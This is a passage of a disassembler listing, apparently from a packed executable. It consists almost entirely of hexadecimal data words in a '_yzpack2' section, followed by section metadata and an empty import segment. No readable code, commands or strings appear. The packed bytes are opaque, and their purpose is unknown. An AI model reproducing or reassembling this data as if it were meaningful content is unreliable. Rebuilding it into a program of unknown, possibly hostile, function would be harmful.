85859BAFh, 85CD1856h, 4F0358E2h, 0F1E0D973h dd 9C8D3C75h, 32332505h, 3631C9D1h, 0C90A0AA0h, 0F6C12630h dd 55451229h, 4195B43Eh, 4793AEDh, 3702368Ch, 0F0EB17E1h dd 409D92Ch, 24045475h, 47B9B00Ch, 764839D7h, 4E558442h dd 1A25BE4Bh, 0CC0E30CDh, 5341500Eh, 4E094F34h, 1A05544Fh dd 2B185C45h, 2E6048F1h, 0F86D929Ah, 4820C876h, 0B5E45A2Ch dd 2C223087h, 62B152FEh, 0D92C2A95h, 0EE2C5D10h, 0A6DA3328h dd 401C8180h, 0FFC0F917h, 31533534h, 4F481D98h, 53EC1265h dd 2B963D68h, 30D70E78h, 5310312Ah, 0DE416D9Ah, 0D2F42875h dd 0E352FCC8h, 6CB29DEBh, 0EA99E171h, 0D6472A50h, 0B02B089Ah dd 537AB478h, 1C504F4Bh, 6765C7A0h, 0C0976415h, 2E3176F0h dd 0CD88B536h, 29795220h, 0E35AA9ADh, 28CB2D1Fh, 42291D11h dd 25B33A35h, 0AF0C2DEDh, 85F7EB31h, 0EAF12057h, 0A843FC0Eh dd 4C6F0C53h, 0D09008B5h, 2A929291h, 42985454h, 46624360h dd 5A494847h, 625C54Ah, 0C2515025h, 56555401h, 5A595857h dd 67CBBE6Ch, 6B6A6481h, 9F4446Ch, 2C8871B7h, 777601F9h dd 207A7978h, 3348320Fh, 38F45030h, 2F2B3917h, 94D344F2h dd 2D0962F1h, 5241E156h, 74E17761h, 0E5F8DD2Ah, 493F226Fh dd 0CA70273Dh, 25C0C690h, 78301130h, 5C0728F5h, 400DC28Fh dd 9F56010Ah, 7766DAEEh, 44097603h, 263FC675h, 92678FF3h dd 1972CCF2h, 0F9D43E63h, 362C301h, 8E517375h, 0E864B808h dd 7BFB5071h, 700AB7Ch, 0ED773AD5h, 1E7C941Eh, 7DB565Ch dd 0C1FD1F89h, 0DE216B8h, 66E0780Eh, 0FF0BCA81h, 0D752420Fh dd 2ECD9E80h, 5A00053Ch, 21B8EF74h, 64A9D5Eh, 75AFFA8Bh dd 0E72D06EAh, 83092FFh, 0A8230412h, 0F92836D0h, 0A0F7050Bh dd 4647C2Fh, 410A824h, 469C91A8h, 205CEA8h, 2910030Bh dd 117F8549h, 4A116D0h, 5994E9Ch, 0C0A55CA0h, 464207A4h dd 885D0400h, 0C91CEB8Ah, 0E89F110Eh, 102B0208h, 8CAAF048h dd 0F4584C1Dh, 8425570h, 4460C1Eh, 14CC0140h, 47FFDE0h dd 0A9380C41h, 0B45F8043h, 80A4E52Ch, 47843FDh, 20063124h dd 243258h, 45CCFD58h, 70B04964h, 74AEDD00h, 60D2962Ch dd 1C0D575Eh, 2197032h, 0E6897C27h, 804C8077h, 3F17196h dd 11CE4D2Ah, 20806AA6h, 722D6EAFh, 0E2462FF4h, 0B0425241h dd 5BF00D34h, 0A84488ADh, 1C0BF438h, 42A0360h, 4F454D09h dd 0A2394957h, 3812F05Fh, 32002E03h, 98282930h, 5E100118h dd 3836B208h, 404452C8h, 68A6D818h, 7489884h, 38C4BCF8h dd 641BCD28h, 32850829h, 74B6B920h, 0C810AB56h, 1FA6F9A5h dd 0ADE4A423h, 0A08FAA7Ch, 81607074h, 0EE901258h, 16EDB1A0h dd 29E8A678h, 50E4D801h, 88B64F42h, 97A943F7h, 0BA01143Eh dd 488960D1h, 20660419h, 25609EEh, 1710CBA4h, 19788528h dd 8AB4340Ch, 0D870071Ch, 4F209398h, 0CA911D2h, 0B257BE3Dh dd 31E03221h, 804858AEh, 138F4E8h, 14433818h, 4602942h dd 0C044F8A9h, 49873B7Ch, 0C58114B8h, 80031701h, 994AE90Eh dd 58AF1C4h, 857A6F50h, 43E46A02h, 1930C9E8h, 18516E60h dd 2378DAD8h, 782F20B1h, 9603B2E4h, 0AD2C9A08h, 80D3BB28h dd 0D6482E24h, 0B70E6844h, 8BC15AC3h, 9095C20Bh, 0B2082014h dd 0A236F45Ch, 64437008h, 93310D24h, 34833336h, 36833583h dd 0F6021846h, 706470F8h, 7863566Fh, 5E1CE3D6h, 2A883B31h dd 0B802CC42h, 0DE8C28F8h, 0F8002C18h, 180C0310h, 2E16C602h dd 813629Dh, 98041C55h, 5C0A0D40h, 0D7AA2F5Fh, 473888CDh dd 0B80006D0h, 1C4D9F4Ah, 1116CF7Dh, 0D4211E86h, 8877577Ch dd 42548AA5h, 5738E601h, 580E0C01h, 4020757Dh, 0BC47C6EBh dd 0A74E7101h, 97B5D01Ch, 989324Eh, 40A69936h, 0A4E8E099h dd 521C6850h, 39D25A09h, 829A938h, 973DE6Bh, 6B7D05FCh dd 3D18AE88h, 55FE3045h, 0EBC00BFBh, 0A319E410h, 0CC04C22Dh dd 410DA66h, 0E4D2101Ch, 23C050A2h, 0EB77F337h, 9F073C94h dd 59041875h, 8B0B4093h, 650321Bh, 1FA0F459h, 4D53FF85h dd 0E9724226h, 0C8C82A6Fh, 0A9FEFFF0h, 0B7406207h, 1204350h dd 5754454Eh, 684B524Fh, 477776F0h, 4E4D413Ch, 30A72EA1h dd 6D6C0E3h, 22DC0B8Ah, 0F981D2E9h, 0FD6B0893h, 1E7030AAh dd 66312E33h, 484D5161h, 0E2583225h, 0EE3333D1h, 4D16DE2Eh dd 0CD322054h, 5316BF30h, 8CA42971h, 7C87310h, 0CA2A15Eh dd 40A4DC42h, 9B0A11C5h, 6D466A7h, 6C698038h, 0E253989Ah dd 823B9150h, 0E0088297h, 0C699645h, 996E4A01h, 1B779C92h dd 0EA2A7773h, 73F50230h, 2B393806h, 387B2435h, 0A77C2E3Ch dd 0ACDA154Fh, 204208ECh, 57E4DA21h, 97859F2Ch, 461F7203h dd 4C472499h, 9C874008h, 41433906h, 20A0CAFDh, 0E0888A15h dd 4F70F398h, 814440h, 0F27A6A19h, 281C49E4h, 2530AF01h dd 53671074h, 5CECE24Bh, 7546E0A4h, 6B9054B6h, 0C2F16792h dd 0D931BE84h, 326203E4h, 510896Bh, 85F3818h, 3067782Ah dd 50054939h, 2903ECDh dd 94239C3Fh, 0A2216464h, 41DC08D0h, 18F70304h, 0DDDEC838h dd 171629A6h, 0BC019F8Bh, 2C0359AAh, 5C3840CBh, 8CA41103h dd 21DA6C55h, 70D42075h, 2BA563E0h, 236C9C14h, 0A0055A25h dd 0F64BDD10h, 546E1C9Ch, 26B79929h, 4659C99Bh, 0CC50B829h dd 0D4754596h, 122849Ah, 4D6B87Dh, 6A8468h, 0C391928h dd 9B11D0B1h, 5DFA858h, 0F52ED94Fh, 29884DEh, 0A4AFF40Ch dd 0A02160C4h, 289A0B0Ch, 0B17AA414h, 0C410EE85h, 88630CA0h dd 0ECA4D8C5h, 12088C8Eh, 31401495h, 93707C50h, 489E0110h dd 0A3F90843h, 1C7E1489h, 2138578h, 0E9A65BABh, 0F812025Bh dd 1D2F1422h, 44FEFF88h, 3324CD0Eh, 8EFD5833h, 83261208h dd 1F449B08h, 5EE0DB9h, 2F25B4B7h, 200C6421h, 0AD110026h dd 9808910Dh, 93D80F02h, 1187080h, 84087081h, 28E60F42h dd 951A80A5h, 9080973Ch, 0F848402h, 64C46C63h, 0A89A0161h dd 68AE7022h, 0AFDF1489h, 1CEC5018h, 0E4FF0713h, 3C0145D0h dd 75153712h, 0BA80FE08h, 5042B68Ah, 7FD01E3Ah, 0C53452C8h dd 188BC615h, 0EB441B68h, 46121C12h, 0A7282B0Bh, 0B30F0803h dd 291B389Ch, 1528EEA5h, 8AD25A24h, 3AF2BB5Ch, 2001231Ch dd 240AB8C2h, 0A3625246h, 25C060Fh, 2524494Ch, 4B3A9E24h dd 1382C5Ch, 0D8E72046h, 0A8091A77h, 5713947Ch, 30296BA1h dd 4FC880FEh, 3F704B32h, 1280D316h, 0BF475A78h, 8823E16Eh dd 6603D803h, 20010887h, 800390F0h, 1C893C1Dh, 0E0041289h dd 4A468953h, 0A45CE929h, 485CF423h, 453A5E50h, 1C2628CBh dd 4C50E96h, 11F084Eh, 84E84221h, 63A33272h, 970869CDh dd 942FD702h, 6291CB2Bh, 0ACB7CA04h, 801C808h, 80887CC9h dd 28D05C04h, 0D487A3ACh, 446807Ch, 446683Ch, 0A38172B3h dd 215152Ah, 9595A508h, 89088B3h, 0C682BF4Eh, 52AAB485h dd 0A351E08h, 0ABC89E10h, 2C41EDC0h, 26018627h, 0B3A059D2h dd 88C0AA5Eh, 0FBC5426Fh, 24155A2Fh, 2F325AC4h, 0DB18B2h dd 216E6644h, 6B10E478h, 13448570h, 72826223h, 0AC65BCB9h dd 9157D014h, 0DC88B778h, 40211EE1h, 4E400056h, 0A03D8D9Fh dd 8F2411CEh, 3E010569h, 11B0530h, 84B5D077h, 21A47EB5h dd 0E73C1E60h, 0A08BBCBCh, 8FA42842h, 0C2BD504Dh, 8C083C18h dd 78412451h, 3F1129A4h, 524D08A0h, 93D9722Dh, 59C15364h dd 7D6609BDh, 30531D4Dh, 5D365A02h, 0CEE04B08h, 0CC0299Dh dd 0CA019094h, 853DBFEBh, 767A1567h, 2CE4082Bh, 4F1F4857h dd 1EB8844h, 0D45534CAh, 13C791Ch, 9082F461h, 416BB45Bh dd 9748D0FCh, 129F2F74h, 487D8099h, 0EB016008h, 0C3535B03h dd 547CF8E8h, 4C03100h, 50D80134h, 2D2E0FFh, 0B9401039h dd 23C3FA30h, 93C22841h, 0C0E2BBC6h, 0F9EAC166h, 0F6301E83h dd 2FFF0302h, 43130181h, 0ECC9F558h, 0D538E008h, 0BDF27A61h dd 0B3FC7733h, 0C0122301h, 5B4F0201h, 223E765h, 2B4F953Eh dd 0C09F4E0Ch, 0A8BD8001h, 607D8AAFh, 0F442BE28h, 1892909h dd 485CC0D9h, 80A9E818h, 5201B003h, 0E59CA97h, 0D5A811D0h dd 0DC9A000h, 10E15180h, 55B526h, 0C5C1371Dh, 6379AB46h dd 682A8F07h, 0A90869E8h, 59E941Dh, 0F810F521h, 0FC44F988h dd 57852722h, 3705082Fh, 40223F44h, 88044110h, 43880842h dd 40458802h, 478C38B5h, 42488920h, 4A114923h, 42844B08h dd 104E214Dh, 4598884Fh, 9105049Fh, 9924405h, 44039344h dd 96444195h, 21974411h, 33539949h, 30C4F40Ch, 0D409C8E4h dd 0C022C891h, 89B4B844h, 24A012A8h, 8AFC4498h, 8811900Ch dd 918409C8h, 44742280h, 5889606Ch, 44245012h, 3C914048h dd 30443822h, 12208928h, 48102418h, 70049108h, 0A4C3F888h dd 11F06614h, 0E44409ECh, 12D889E0h, 48C824D0h, 22B891C0h dd 0A85C81B0h, 9A01199h, 248C1294h, 91804888h, 446C2274h dd 5C896064h, 50245412h, 40914848h, 30443822h, 12208928h dd 50142418h, 11088DCCh, 0F80910C3h, 45F022C2h, 0E40103E8h dd 9E01132h, 48D024DCh, 22B891C4h, 8CA044ACh, 68127889h dd 30486024h, 20292891h, 0DE20B840h, 1C4668AFh, 9186451h dd 8D084814h, 9161C1FCh, 0E422F009h, 89D8DC44h, 24D012D4h dd 91C848CCh, 44B822C0h, 9C89A8B0h, 84249012h, 70917C48h dd 60446822h, 58924050h, 39820A1h, 50192244h, 40094864h dd 38A36854h, 33F49EE4h, 0A424212Ch, 1C33FC9Eh, 9221421h dd 0FC04440Ch, 8AF4C040h, 0F019144Dh, 991E821h, 93D022DCh dd 0C0CC4224h, 0E2EF286Ch, 0B8662C6Ch, 4409B011h, 9889A0A8h dd 8C249012h, 84918848h, 54918022h, 0D44C2475h, 74A87852h dd 60C65499h, 0AC585219h, 48480964h, 348894F0h, 9381166h dd 8A283044h, 1C677844h, 9CC90C11h, 19046280h, 0E807BFF8h dd 0D48CB149h, 9D01199h, 29C412CCh, 0B0679C14h, 0B749A419h dd 39A019A4h, 94099198h, 8CA3B048h, 4C84193Ah, 0E04ABEB8h dd 613870A0h, 623BF073h, 6B67796Ch, 8ED7821h, 69E96FE5h dd 681922FBh, 6BF572F6h, 18BBFCD9h, 2C5071BBh, 3112A56Fh dd 2A626402h, 81D05D4h, 8CD0CE8h, 942F3461h, 77290D14h dd 80D43E7Ah, 3409143Dh, 0C421E0Ah, 6DCD116Fh, 47180BAFh dd 65884410h, 0D0E2D8DFh, 0A59F7410h, 0F6EDBDCh, 5F6E096Dh dd 6C734610h, 9174752Fh, 63DD6913h, 66644F7Ah, 106BD4FDh dd 0AC786513h, 34E99DE8h, 424F563Ch, 7111630Ch, 7A363777h dd 0BE2C0D48h, 22F575E2h, 43A25A0Ch, 7429116Fh, 0F881C32h dd 6B324208h, 8C383930h, 74B855BCh, 0A6D6524h, 9019645Bh dd 7F25FB63h, 34C824EFh, 0AAF0340Ch, 7B6DE90Eh, 7886EFE5h dd 75AB8350h, 0DE9CD1FEh, 0C2846C68h, 0C5AE7472h, 25708099h dd 408144Ah, 9C756E18h, 66346560h, 8E111661h, 128E9ACAh dd 8FA0814h, 82FA5836h, 35B5252Ch, 39340832h, 0E08E0931h dd 457A7263h, 0FB79F704h, 79381610h, 0EE842BF1h, 0F5A94456h dd 0CA2A4441h, 0C3029C3h, 8E7106Eh, 84081B72h, 11CE0867h dd 1B84099Bh, 50F66119h, 0C2647770h, 820EC45h, 0ECA3288Ch dd 3F105BEDh, 4620DA84h, 2B40410Ch, 0DA096E86h, 855C1911h dd 7E252048h, 1C15B6A6h, 6F445C09h, 580C7563h, 449D731Ch dd 0BF537A18h, 5CFAFEC4h, 0DA6C4138h, 0A57A6CF2h, 62683D21h dd 95413DEEh, 2F084171h, 0A573715Ch, 636AF478h, 14E8C318h dd 127042F3h, 6E28299Ch, 36D22015h, 0EABD9958h, 0A5BD1394h dd 87630C2Ch, 1C1048B4h, 20885514h, 23E36623h, 31FF78B0h dd 1A2A78C4h, 30D6E77h, 0FE647518h, 57DE8AA7h, 5C551E8Fh dd 1C49874Dh, 0B9D39F48h, 633779ACh, 439D8965h, 60BF6CF5h dd 0ED7B014Dh, 0D2421A4h, 37C17161h, 69630D10h, 10352673h dd 0B16D62DCh, 70CC3FB0h, 8DBAC4Ch, 67C99DDh, 79972C24h dd 538CA66Dh, 0A664144Ch, 0A3677810h, 34284CB2h, 0A4707514h dd 0FC4AA390h, 59A37E9Ah, 79723C14h, 686B3628h, 8A0884F4h dd 4C884338h, 0EA9256CCh, 0AC37E052h, 891854FEh, 6F91B375h dd 75313284h, 3449CCABh, 629490E8h, 88726246h, 759C9C12h dd 659508A9h, 30B441A4h, 40A96BBFh, 2374FD70h, 6F6A0918h dd 88001A68h, 624718B6h, 66C4E88Ah, 41B75B99h, 46794F2Eh dd 0BA94E362h, 57E76855h, 0B41F5130h, 55985B4h, 0E0476803h dd 5720CEAh, 64FF6908h dd 0B704CD88h, 88ED0802h, 74155C47h, 0CD3E3099h, 7524340Dh dd 0BFD77845h, 638BF09Eh, 48CADE76h, 0B2C2DA6Dh, 73082471h dd 0C5F21574h, 370CA773h, 731C5AF8h, 82436FCBh, 4C10D12Ch dd 2031031Bh, 790A0D2Dh, 479F8C10h, 0F92D92E4h, 5F54B247h dd 669D431Fh, 4815F07Ch, 0D93816BFh, 0D10D3698h, 0E633DD78h dd 66FCD2E4h, 3178687Ah, 4AFE34F4h, 0F71284DBh, 60273AA6h dd 7264422Eh, 0BBE77877h, 0A628574Ah, 0A42D4353h, 0E5279310h dd 0F76C77ABh, 0C2C8FA35h, 81161192h, 0B22B33DBh, 0AAA8851Ch dd 28B688B8h, 98032C56h, 97E3A029h, 34150E16h, 404C3532h dd 4CA51292h, 860D23Eh, 700949E8h, 201C3735h, 78A92F22h dd 7402380Ah, 60C7506Ah, 883D0B85h, 52A05008h, 33CA3CB2h dd 64F46E50h, 944E33A2h, 14858829h, 0A48D2044h, 69A72C09h dd 319AA851h, 75301A1Ah, 101BCC1Ah, 0E4B2515Eh, 505446F0h dd 6DE774F9h, 0B9C2F6E5h, 0BF9E14DDh, 0AC30BCC9h, 2148FC05h dd 3205705Eh, 78186B04h, 5DE91065h, 587E0F29h, 0BC4C8CF4h dd 0BA01C5B1h, 9FE86A56h, 0E98A7428h, 0F4B79346h, 962F763h dd 54A2AC43h, 15218C9Dh, 0EB030E7Bh, 1C11B915h, 722F181h dd 3174805Eh, 0F9E200FFh, 0E82505EBh, 90DBE6h, 8B64DB33h dd 72B73043h, 1C701EA1h, 87883ADh, 2B4F45E8h, 5F1F6DECh dd 3B5C4F3Ch, 0BFDF03E7h, 0D205B46h, 4C3831Eh, 0F79C335Fh dd 32ACC9C1h, 5C4C1C8h, 75C00784h, 43CA2BF6h, 0D8A858E9h dd 5E39EBD1h, 46243003h, 0E50B8B66h, 10BB1CE9h, 0C7AF52EFh dd 0E0FF5B23h, 0A95268EAh, 0E5E42AEBh, 92BA0054h, 0FF84046Eh dd 0F8138BD6h, 9AA5EC81h, 7D53B2E3h, 0BA0DA554h, 7CC3B083h dd 0B968FA2Ch, 3433B606h, 0D800D472h, 5352106Ah, 303063BAh dd 50365A60h, 55E602B4h, 581F1ADCh, 0BF28E250h, 0A5E5EE26h dd 57BF5FB4h, 90049CB0h, 4006C2A6h, 7A081450h, 3CA1733Bh dd 0D33610C4h, 29425769h, 5FC8C033h, 430AB068h, 32828D54h dd 197972h, 27D8166h, 75311171h, 22040EEDh, 0E4AB03BCh dd 7E2C6DABh, 1420F0E0h, 0B4EA758Bh, 0C70F1CB4h, 3D045D89h dd 0F0500934h, 0C8A51465h, 0CB0F384Dh, 456489F8h, 8E87F8D4h dd 75B755B7h, 667922F9h, 0C9DD09E0h, 0E999C5D9h, 3F0DF98Bh dd 328F157Ch, 25E1845h, 6A4CBF42h, 0E06EC06Fh, 6BD33DBAh dd 1C4AA05Ch, 840F1540h, 0C24388Dh, 117FCBA7h, 270439h dd 505F9D69h, 75C8EE23h, 53570241h, 51104D8Dh, 0BA1C1F90h dd 0F5BEB908h, 403930CBh, 10A0C5EBh, 9DEE935Ch, 0A0446A80h dd 728BE0CAh, 0ABD735FCh, 59660E98h, 83FDE2C6h, 50525271h dd 2C774001h, 2694F110h, 0C7FE5807h, 18FFF53h, 18DE3406h dd 97213E85h, 27CF5385h, 840C770Ah, 31568540h, 0ECF58607h dd 0C16E0C46h, 0A8E30A14h, 0E413E68Bh, 0CC28331Dh, 9221C0Eh dd 0CBFC2014h, 0C02F045h, 74D024DCh, 0EEE0138h, 0B7A3DCCCh dd 8FAC8011h, 1E2FAC1h, 0FBC9F7BFh, 0C2A387EFh, 38CCE738h dd 2052A1D7h, 30C6DC87h, 0C490EAD7h, 84E0B21Dh, 15CF86C9h dd 0CDEA054Fh, 0FF2C38D6h, 0FCE8E200h, 92F6B1C3h, 0F0E304B4h dd 72B0E6AEh, 4B622472h, 17C49F63h, 0AE30D573h, 58FD9757h dd 0C8251BE9h, 9FBB6075h, 0B157FC80h, 0CFEE839Fh, 13B85DAh dd 41064909h, 0B1508D7Eh, 0E19B0599h, 38FAF8E2h, 0C853EB1Fh dd 0B52F13Ah, 0B901470Eh, 9337993Fh, 0C1C75510h, 70410B78h dd 382F7869h, 690C4660h, 7B945510h, 0B3492D38h, 9F2E3753h dd 74D3143Ah, 9C129159h, 0F84F173Ah, 20899F8Eh, 0B61C7D2Fh dd 5392EA94h, 65AC1CFBh, 3A7139F4h, 0AF60AA5h, 4A22F156h dd 0C4FC65DEh, 97A6F0ADh, 0AC481FF9h, 0C57B3C48h, 0A4CC2355h dd 43CD6355h, 0CDF1D664h, 0C76F550Ah, 9A86ACF6h, 0C82D1D98h dd 2C9E752Ch, 753A74D9h, 9B0B20B4h, 5FB04C68h, 6408AD59h dd 0B84A344Ah, 746985E9h, 269124FBh, 1C850CE7h, 92A5F921h dd 0F391A98h, 346F4A7Eh, 7F177DC9h, 422E1DB3h, 6DB47402h dd 27B6923Bh, 63DB7A37h, 25C54259h, 84CE6FB9h, 45B0885Eh dd 735226A6h, 0F0A69BDh, 51F8370Ah, 0CAAEE9D7h, 4BFB2065h dd 0B771EC38h, 121A5DE9h, 1FC9CD5Fh, 84FC2570h, 8D7E54F9h dd 631643ABh, 0CBC26B8Fh, 86DB6C5Fh, 3FCBD03Ch, 3ABA3AE2h dd 14778609h, 0E9218531h, 0C3B77316h, 0BCD24A93h, 5226F4A0h dd 52F69948h, 0AF24B845h, 933B205Dh, 0B684DB1h, 0BDB04979h dd 0F247ECACh, 0DF9E243Ah, 0DA86691h, 74656B13h, 3D0ABF37h dd 417901F7h, 0D07A3633h, 640B3834h, 7666845h, 475367B6h dd 3735A152h, 6C5598EFh, 0E133FA44h, 0F746B84Ch, 0D4FDB12Fh dd 5C7A5058h, 0C46588CFh, 0CDAE642Eh, 1795FAF8h, 39065CBEh dd 6D5BF867h, 0C4B22F52h, 2F913143h, 1121AE93h, 0B4433125h dd 5554EA4Fh, 436EB8C4h, 0C54E3B33h, 8DFB61C4h, 0A1023545h dd 0B2CF2E1Ah, 44DA9089h, 0D96EF732h, 0D49EA53Ch, 4D67FAE8h dd 0B4E72F94h, 7B994667h, 0E949A629h, 228EC21Ch, 35FF8CD2h dd 6A7590Dh, 29065640h, 0B02E0ADCh, 3D7B5019h, 0BC70F0FEh dd 2E084DAAh, 0E2103050h, 1C724A50h, 85309810h, 5B02330Eh dd 5D5E22E7h, 4CA10D08h, 3C2344A3h, 20223421h, 0DC5B04CAh dd 17DAAA5Ch, 236129CBh, 66A9E915h, 0B67B8DFDh, 65DE205Eh dd 2EF3CB6Eh, 20565FA7h, 3A4549E0h, 17794158h, 1ED8436Fh dd 7E505620h, 5475E55Fh, 0EC9BABDEh, 3A8B2CD1h, 8756D0F6h dd 5D573C5Ch, 0BC69661Dh, 0F3465A54h, 0CF3712A1h, 7D784449h dd 5427478Dh, 13A64AB0h, 0B866AB2Fh, 0B62BF720h, 3D074210h dd 43FD4F49h, 36312473h, 5C351C89h, 0E1782961h, 0D14E534Dh dd 2AFA4A45h, 49290F2Dh, 6056B944h, 3962892Ch, 63E63138h dd 15E0E2BFh, 163223C8h, 74024B2Dh, 20BD72B2h, 37653541h dd 30CC38CBh, 4F8964D6h, 0B7A2FEF1h, 42A56BBFh, 2AE94DBAh dd 35645003h, 0C6318A63h, 8D0E9DC8h, 5C9D7889h, 0EDDC10A4h dd 1E0C637Fh, 2DB15AE0h, 8C11D009h, 851CF439h, 3F496B12h dd 0E4814831h, 6129245Fh, 5267F425h, 0EA56B926h, 0F544756Ah dd 0CA7E2B1Ch, 6EB141FDh, 0F875AD72h, 0A88BAD71h, 6D2ACACEh dd 98577111h, 4FCC6CCAh, 0FE12D366h, 78FA3F1Eh, 971D7453h dd 5BABC012h, 6CBB3E7Dh, 5893EE78h, 3C1477C9h, 76CC5666h dd 58598B0Ch, 0BBE4882Fh, 0A346548Bh, 64AF446Eh, 368DFE3Fh dd 75A302Eh, 2970C5EBh, 4DC40F21h, 347543E0h, 9D2B995Dh dd 0C7D82968h, 6D360933h, 514C18A5h, 86D95B78h, 644409E0h dd 14508958h, 844010Ah, 34723C64h, 1C1C2839h, 2314478Eh dd 0D108910Ch, 140C4301h, 8808D8F8h, 72E4E4F0h, 1CD439DCh dd 0FC238ECCh, 10C014C1h, 6408B8CAh, 39A472A8h, 8E901C9Ch dd 4C840181h, 8A6800Ch, 70237847h, 60C86891h, 507258E4h dd 44474496h, 34913C23h, 24E42CC8h, 34961C72h, 8234E4BFh dd 8D48848h, 375CF9AFh, 500FDF11h, 5E30432Fh, 0B25EF4B6h dd 383490ECh, 4ED8C864h, 0A675C8DCh, 8C207908h, 0F06A2D45h dd 0A5F76E23h, 4CE5FE55h, 797F7311h, 2D1434E1h, 58934359h dd 183A37ABh, 31C148D7h, 506B392Eh, 35C90CFFh, 702FCC03h dd 6626982h, 0BA9DE95Ah, 0B250D6B3h, 8B16C06h, 6CCD2C2Eh dd 7F6BA2B9h, 2D08A165h, 450FAD1Dh, 2D6DA4DCh, 0DD75DC49h dd 73084168h, 0C51EAD78h dd 70153094h, 28AB3D77h, 0FA1467B5h, 0B864E738h, 0EF3874A5h dd 2D985095h, 4EA43A20h, 3A6D599Dh, 51796694h, 840A442h dd 5C8BB74Dh, 36E54913h, 0FB951130h, 34F0B464h, 53090850h dd 0D137016h, 6A0E1D1Ah, 974A72F9h, 3A65CFD3h, 3E2763CBh dd 783A492Fh, 65C59053h, 596C8182h, 6243688Fh, 8E896E73h dd 0F39590D0h, 8D34A0FCh, 0C41EC29h, 4BF558BDh, 24E8AFh dd 0D2E6E2ADh, 4A9AE3FBh, 87BCF2A9h, 0BAE0F44Ah, 94CFA2h dd 11B29A82h, 2B0ED8BCh, 105B18ACh, 9A4AA4ACh, 0C3E0F0A0h dd 0BCAE05D0h, 619DADB3h, 206B2310h, 5FE131F8h, 0EFCA801h dd 0E2E68E8Bh, 0FAE5FE11h, 55622722h, 9900144Ch, 0BFEFF28Dh dd 24B18CA0h, 0FF1084E0h, 1BCF558h, 0A2ECFE87h, 6FA1C7FCh dd 0E22E003Dh, 69099EACh, 0E5915F70h, 0BB58E66Ch, 22FEEBE5h dd 6B595A97h, 0BF042373h, 9FBBAC70h, 7DE4E22Dh, 1027E76Bh dd 4B65D66Eh, 0C1791A2Bh, 94B92120h, 0B0FCD82Fh, 1AD19D38h dd 0D7780DB3h, 26336528h, 908F0907h, 0B3D6080h, 9548FDFh dd 658E101Bh, 8238FC76h, 72BC19D1h, 3F2E1841h, 5F5D56F0h dd 654A74F6h, 4038F1FDh, 204330D6h, 0BD39AB96h, 0D50195C2h db 77h, 0CCh, 0 byte_42D3DF db 0 ; DATA XREF: .yzpack2:004211ACo dd 0B1Fh dup(0) dword_43005C dd 7FE9h dup(0) ; DATA XREF: cAddress:0041A720o _yzpack2 ends ; Section 4. (virtual address 00050000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00050000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 450000h dd 80h dup(0) align 1000h _idata2 ends end start